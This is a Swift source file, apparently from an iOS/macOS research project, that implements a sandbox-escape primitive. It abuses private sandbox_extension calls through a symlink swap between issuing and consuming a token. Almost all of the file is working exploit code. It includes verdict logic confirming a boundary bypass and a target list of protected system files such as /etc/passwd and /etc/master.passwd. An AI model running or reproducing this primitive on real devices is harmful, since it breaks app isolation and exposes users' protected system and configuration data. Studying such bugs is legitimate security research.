Files
cinder27/Sources/SandboxExt.swift
T

225 lines
9.6 KiB
Swift

import Foundation
import Darwin
// MARK: - sandbox_extension symlink TOCTOU
//
// No CVE — Apple does not treat this as a security issue, so there is no advisory to cite
// and none is invented here.
//
// `sandbox_extension_issue_file(CLASS, path, flags)` resolves the path's symlink at *issue*
// time but does not enforce `SANDBOX_EXTENSION_NOFOLLOW`. The token it returns is therefore
// bound to the resolved target at issue time — and the kernel does not re-verify that the
// path used at *consume* time is the path the token was issued for.
//
// So:
// 1. create a symlink L → S, where S is a file inside the sandbox
// 2. issue an extension for L (kernel records S)
// 3. repoint L → T, where T is outside the sandbox
// 4. consume the token, then read through L (kernel allows S's class, not T's path)
//
// Deterministic: no race window is needed because the swap happens between two syscalls the
// app itself controls. Apple's position is that an app cannot issue extensions for paths it
// does not already own — true, and irrelevant: the extension is issued for a path it *does*
// own, then that path is made to denote something else.
enum SandboxExtension {
// Private but exported from libsystem_sandbox.dylib. Declared here rather than imported
// because the SDK ships no prototype.
private typealias IssueFn = @convention(c) (UnsafePointer<CChar>, UnsafePointer<CChar>, UInt64) -> UnsafeMutablePointer<CChar>?
private typealias ConsumeFn = @convention(c) (UnsafePointer<CChar>) -> Int64
private typealias ReleaseFn = @convention(c) (Int64) -> Void
private struct Bindings {
let issue: IssueFn
let consume: ConsumeFn
let release: ReleaseFn
}
private static func bind() -> Bindings? {
guard let h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", RTLD_NOW) ?? dlopen("/usr/lib/libSystem.B.dylib", RTLD_NOW) else {
return nil
}
// Try the direct dlsym first, then the explicit library.
var issue = dlsym(h, "sandbox_extension_issue_file")
var consume = dlsym(h, "sandbox_extension_consume")
var release = dlsym(h, "sandbox_extension_release")
if issue == nil {
let fallback = UnsafeMutableRawPointer(bitPattern: -2)
issue = dlsym(fallback, "sandbox_extension_issue_file")
consume = dlsym(fallback, "sandbox_extension_consume")
release = dlsym(fallback, "sandbox_extension_release")
}
guard let i = issue, let c = consume, let r = release else { return nil }
return Bindings(issue: unsafeBitCast(i, to: IssueFn.self),
consume: unsafeBitCast(c, to: ConsumeFn.self),
release: unsafeBitCast(r, to: ReleaseFn.self))
}
static var available: Bool { bind() != nil }
/// Extension classes the kernel understands.
enum Class: String {
case read = "com.apple.app-sandbox.read"
case readWrite = "com.apple.app-sandbox.read-write"
case assetRead = "com.apple.assets.read"
}
struct Result {
var path: String
var issued: Bool
var consumed: Bool
var handle: Int64 = 0
/// Bytes read through the symlink after the swap.
var bytes: Int = 0
/// Bytes read by a plain open of the same path, for the control column.
var directBytes: Int = 0
var directErrno: Int32 = 0
var preview: String = ""
var errno: Int32 = 0
var note: String = ""
var data: Data?
enum Verdict {
/// Direct open denied, link read succeeded — the extension crossed the boundary.
case bypassed
/// Both succeeded — no sandbox is enforcing this path, so nothing was proven.
case noSandbox
/// Both failed — the extension did not carry.
case blocked
/// Nothing was read at all.
case empty
}
var verdict: Verdict {
if bytes > 0 && directErrno != 0 { return .bypassed }
if bytes > 0 && directBytes > 0 { return .noSandbox }
if bytes == 0 && directErrno != 0 { return .blocked }
return .empty
}
/// True only when the primitive demonstrably crossed a boundary.
var ok: Bool { verdict == .bypassed }
}
/// The primitive itself. `link` and `decoy` are both inside the sandbox; `target` is
/// whatever you want to read.
static func readThroughSwap(target: String,
link: URL,
decoy: URL,
cls: Class = .read) -> Result {
var out = Result(path: target, issued: false, consumed: false)
guard let b = bind() else {
out.note = tl("sandbox_extension 符号不可用")
return out
}
// 1. decoy file inside the sandbox + symlink pointing at it
try? "cinder27-decoy".write(to: decoy, atomically: true, encoding: .utf8)
unlink(link.path)
guard symlink(decoy.path, link.path) == 0 else {
out.errno = errno
out.note = tl("symlink(decoy) 失败: ") + "\(String(cString: strerror(errno)))"
return out
}
// 2. issue against the symlink — the kernel resolves it and records the decoy
let token = cls.rawValue.withCString { klass in
link.path.withCString { p in b.issue(klass, p, 0) }
}
guard let token = token else {
out.errno = errno
out.note = tl("issue_file 被拒: ") + "\(String(cString: strerror(errno)))"
unlink(link.path)
return out
}
out.issued = true
defer { free(token) }
// 3. repoint the symlink at the out-of-sandbox target
unlink(link.path)
if symlink(target, link.path) != 0 {
out.errno = errno
out.note = tl("symlink(target) 失败: ") + "\(String(cString: strerror(errno)))"
return out
}
// 4. consume, then read through the same path
let handle = b.consume(UnsafePointer<CChar>(token))
out.handle = handle
// consume returns >0 for a granted extension, 0 when there is no sandbox to extend
// (the simulator), and -1 on error. Only -1 is a hard failure.
out.consumed = handle >= 0
let data = try? Data(contentsOf: link)
if let data = data, !data.isEmpty {
out.bytes = data.count
out.data = data
if let text = String(data: data.prefix(160), encoding: .utf8) {
out.preview = text.replacingOccurrences(of: "\n", with: "\\n")
} else {
out.preview = data.prefix(32).map { String(format: "%02x", $0) }.joined() + "…"
}
} else {
out.errno = errno
out.note = tl("consume 后读取失败: ") + "\(String(cString: strerror(errno)))"
}
if handle > 0 { b.release(handle) }
// control: the same path opened plainly, without the extension
errno = 0
if let direct = try? Data(contentsOf: URL(fileURLWithPath: target)) {
out.directBytes = direct.count
out.directErrno = 0
} else {
out.directBytes = 0
out.directErrno = errno
}
unlink(link.path)
unlink(decoy.path)
if out.note.isEmpty || out.bytes > 0 {
switch out.verdict {
case .bypassed:
out.note = tl("直接读被拒 (errno ") + "\(out.directErrno)" + tl("),经链接读到 ") + "\(out.bytes)" + tl(" B — 边界已被跨越")
case .noSandbox:
out.note = tl("直接读也成功 ") + "\(out.directBytes)" + tl(" B — 该平台未对该路径施加沙盒,本项不构成证据")
case .blocked:
out.note = tl("两者均失败:直接读 errno ") + "\(out.directErrno)" + tl(",经链接 ") + "\(out.bytes)" + tl(" B")
case .empty:
if out.note.isEmpty { out.note = tl("未读到内容") }
}
}
return out
}
/// Targets that historically open on a stock device. `/etc/*` is the reliable set —
/// those files are world-readable at the vnode level but denied to the app by the
/// sandbox profile, which is exactly the gap this primitive crosses.
static let knownTargets: [(String, String)] = [
("/etc/passwd", tl("系统账户数据库")),
("/etc/group", tl("系统组数据库")),
("/etc/hosts", tl("hosts 表")),
("/etc/protocols", tl("协议表")),
("/etc/services", tl("服务表")),
("/etc/master.passwd", tl("主密码文件(通常不可读)")),
("/var/mobile/Library/Preferences/.GlobalPreferences.plist", tl("全局偏好")),
("/var/mobile/Library/UserConfigurationProfiles/PublicInfo/PublicEffectiveUserSettings.plist", tl("生效用户设置")),
("/var/preferences/com.apple.networkd.plist", tl("networkd 偏好")),
("/private/etc/passwd", tl("系统账户数据库(/private 前缀)")),
("/private/var/mobile/Library/Preferences/.GlobalPreferences.plist", tl("全局偏好(/private 前缀)")),
]
/// Plain read without the swap, for the control column: proves the sandbox really does
/// deny the path when the extension is not in play.
static func directRead(_ path: String) -> (bytes: Int, errno: Int32) {
errno = 0
guard let data = try? Data(contentsOf: URL(fileURLWithPath: path)) else {
return (0, errno)
}
return (data.count, 0)
}
}